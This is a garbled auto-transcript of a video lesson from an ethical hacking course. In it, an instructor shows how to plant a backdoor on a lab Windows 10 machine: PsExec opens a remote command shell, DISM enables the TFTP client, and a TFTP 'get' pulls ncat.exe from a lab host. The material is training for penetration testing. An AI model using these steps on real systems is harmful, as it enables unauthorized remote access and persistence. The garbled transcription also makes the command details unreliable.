Time
23 hours 21 minutes
Difficulty
Intermediate
CEU/CPE
14

Video Transcription

00:02
Hi. Welcome back to the course. In the last video, we went ahead and configure it R T FTP server. So if you haven't done that yet, just go ahead, pause this video, go back and walk through that previous video because you will need to configure to be able to do this part of the lab.
00:16
So in this video, we're gonna go ahead and actually plant the backdoor on our target machine.
00:21
So you should still be logged into the P lab When, 801 machine here And if not, go ahead, get connected to that, then our next step here is we're gonna double click on the P S Tools folder on your desktop. So this photo right here,
00:36
we're gonna see it's gonna open the file Explorer for us. So we'll see that right here in step number three. And now we wantto basically, we're gonna copy this, execute execute to our desktop.
00:46
So we're gonna locate the P S e x e c.
00:49
So the application So they executable
00:51
and we're gonna right click on it. And then we're gonna copy it,
00:55
and then we're gonna right click and paste it into our desktop
00:59
and then what we should see. And step seven, we should see that that file now shows on her desktop. So let's go ahead and do that. So
01:04
we're looking for P S E X C c.
01:08
All right. So it's gonna be this, uh, this one right up near the top here. Just go ahead and click on it. Now we want a copy and paste it to our desktops. We can right click
01:15
and then say copy.
01:18
And then you could either right click and paste it on the desktop here. Or you can just click the desktop. Won't hear. Right. Click and paste it in. There
01:26
are. Either way is fine. You'll see. It'll create the document on the desktop force.
01:33
Okay, so we see in step seven. Yes. It does show on the desktop for us now. So our next step here, we're gonna open the command prompt so we could do the rest of our lab.
01:41
So we're gonna click on starts, we're gonna scroll down, and you can go ahead and close this, uh, explorer window out. We're not gonna need that again for this lap.
01:49
So we're gonna right click and then a couple ways you can do it. You can just click on run and do si m d, But we're gonna take the long way. So we're gonna go search,
01:59
and I just type cmd
02:00
at the search box and it'll pull up the command prompt for us. Let's go ahead and click on that.
02:07
All right, so let's go back to our lab document here. So the command prompt it did open. So next we want to change our directory to the desktop. So we're gonna use this command here, the lower case CD for change directory, and then we're gonna type desktop so we can change your desktop.
02:20
So let's go ahead and do that. So lower case C D space and then does stop with a capital D So d capitalized on, then. Oliver case E s K T o p. And then just press see a tricky and your keyboard.
02:31
All right, so you'll see here that it's got us now. Our directory is the desktop.
02:38
All right, so let's move on with our lab. So now we're gonna go ahead, actually plant the door on our windows 10 machines. Soapy lab. Winton.
02:45
So at the command prompt. We're gonna type in this command here. This p x e x c c dot etc. So that's that file name that execute herbal. We're gonna type our target machine than CND for the command. So basically, we're gonna be entering or, you know, opening a command shell availability on the target machine
03:02
and what that allows us to do with the command shell. As we talked about the very first video, it does allow us to run a lot of different types of actions against a Windows machine. Or even if we're attacking a limits machine, were able to use the shells to run
03:20
the code and everything that we want to do to hopefully exploit to get whatever information we're trying to get off the target.
03:25
So that's kind of the value of planting backdoors or, you know, opening command shells on target advice. It allows us to do a lot of different things.
03:36
All right, so let's go and type this command in here,
03:39
so write his command line. Capital P lower case s Capital E. On the lower case, x p c dot g xy.
03:47
We're gonna put a space and then a backward slash backwards slash
03:53
And then all capitalize P l A b o w i n and then the number 10.
03:59
So that's our Windows 10 machine on, then cmd and then just press enter.
04:04
Okay? It's gonna take a second or so. What you're gonna notice is not now. We see that this says, See Windows system 32. So let's check. Now, let's go back to our lab document, but we're gonna basically check to see Are we even connected to the Windows 10 machine? So
04:18
Step 15. We did. We've gone ahead and connected. Now, step 16 we're gonna tie post game at the prompt. And if we see P lab when? 10. As the output. We know we're successful that this went successfully for us.
04:32
All right, let's go ahead, check it out. So we're gonna type post name
04:35
and then just press enter any keyboard
04:38
and all right, so you see there that we do have p lab win 10 So we are successfully connected here,
04:45
So let's move on to the next step of her lab.
04:47
So now we're to go ahead and enable t ftp client on the witness 10 machine. So that way we can connect to our server.
04:56
So we're gonna do that with this command here. So it's type it in. So d I s m all over. Case a space forward slash in an online
05:05
space four slash capital E on the lower case and a b l e dash capital f their case e a T u r E so enabled dash feature again with capital in capital F
05:20
another Stace the four slash again and then wanted to feature name So feature with a capital F
05:29
and that name. So no dashing between these ones.
05:31
And then we're gonna do the colon and then t f t p
05:36
so D I s m
05:40
space forward slash online
05:43
space forward slash Enable
05:46
dash feature
05:47
space forward slash feature name
05:50
Cole and T f T P. And then just press the enter key on your keyboard.
05:55
So it's gonna take a moment of soda run,
05:57
so come back to our lab document here.
05:59
So now we're right here. We're just going ahead, and we're enabling the TF. Petey client. So we've pressed, entered here. So now we're gonna go ahead and get our back door. So you see, we're back at the command prompt. They're so next we're gonna type in this command. Here. The tea FTP space 100 to 16805 which is the I p of our target.
06:16
And then we're used to get command and then end cat don t x c, which is our
06:20
backdoor for this particular lab.
06:24
All right, so what we're gonna do with that command is going to save the back door onto our target machine.
06:28
All right, so let's go ahead and enter that in now.
06:30
So
06:31
we have t f t p
06:34
192.168 dot 0.5
06:41
and then get
06:43
GT
06:46
all capitalized, and then we're gonna do are executed.
06:49
All right, let's go in tight. That s o t F t p 1 92.168 dot 0.5. Again, that's our target.
06:57
But then get so space and then get all capitalized A space in an Oliver case and cap
07:02
dot e x e.
07:04
And we'll go ahead just his enter there. So you don't really see any action here, But what is going to do is move that particular back door onto the target machine for us.
07:14
All right. So you see here, that s a is the back door onto into the wisdoms. Windows assistant 32 on our target machines of the P Lab. Win 10.
07:25
So step 23 here. We're gonna let that run for a second or so. Here. It should
07:29
almost be done,
07:35
but basically, it's going to save it on the Windows 10 machine for us. So let's look at question number one. So what is one of the benefits? If you think back to our initial video for this lab that where we kind of went over different copies like T F, T P and we and I explained what back doors were and why we would use those. Think back to all that on. So
07:55
So it looks like the connection request failed there. So we're gonna try that command again real quick before we go over Question one. So
08:01
let's try that again here. Sochi FTP.
08:03
And I'm gonna double check myself. Make sure I'm typing it incorrectly. So T e f p t t p.
08:09
I wanted to 16805 get and cat Dottie XY So
08:13
we'll be typed here so we're just gonna type it again and see how we do so T f p T p 1 92
08:20
that 168.0 dot five
08:22
space Get all capitalized space and cat dot T x c.
08:28
All right, so we're gonna see if that goes through or not. If it's still failing on my end but is going through on your end and that's perfectly fine. All we're trying to do here is just basically save the back door so re technically shouldn't get any real output. If we're saving the back door on there, it should just take us back to the command prompt awaiting our next command. So we're just gonna move on to question number one here. So
08:48
think back to the initial video there.
08:50
So think about what, At least one of the benefits and think on the simplistic level here, the very high level.
08:56
What's one of the benefits of having the back door on the target machine?
09:03
So if you guessed and my my answer here would be, well, it allows us to maintain access on the target machine and and with maintaining access, then we can launch whatever else we want to do, we could steal data. We can corrupt the mission, the data on the machine. We can do different things on that. So
09:20
something along those lines that's basically our goal with the back door's allows us to maintain access. And that's probably biggest thing. If you decide to ever take the certified ethical hacker Exam three C Council Just always remember in your head that back door allows you to maintain access.
09:35
So in this portion of the lab, we just went over planting our back door. You'll see here that I got a couple of failed requests for connections there. For some reason, it could just be the lab that I'm using here. That's fine. If yours is working, that's that's all I really care about. But essentially, we're just trying to plant the back door. We're not gonna actually execute it and do anything with it.
09:56
And this particular lab.
09:58
So this lab overall, what we did is we did our T FTP server configuration, got that going, and then we went ahead and used some different commands to plant the backdoor on our target machine. So we established a command shell and then we used a few commands basically to move the file over to our target machine.
10:18
So in the next section of the course, we're gonna go ahead and take a little deeper dive in tow. Malware. So we're gonna talk about a lot of different things, like viruses, Trojans, and we're gonna also talk about a lot of the more more current ones. Now, if you are starting for the surf in ethical hacker examination, which you will notice
10:39
depending on
10:41
how current Theo exam is, there may be slim like older viruses and worms discussed there. And that's fine. It's fine to know that stuff, but we're gonna focus primarily this this next section is gonna be focused on Magic Module five's gonna be focused on newer threats. So a lot of the banking Trojans, that sort of stuff. We're gonna go over those as well.
10:58
Just you stay current with your skill level.
11:01
If, after this course or goals to tryto either workers a penetration tester or just improve your knowledge in cybersecurity as an entire industry

Up Next

Penetration Testing and Ethical Hacking

Do you like breaking things or figuring out how things work? Join thousands of professionals who’ve entered the information security field by taking this class. Taking this ethical hacking course will give you the skills needed to become a professional penetration tester and prepare you for industry certifications, like the CEH.

Instructed By

Instructor Profile Image
Ken Underhill
Master Instructor at Cybrary
Master Instructor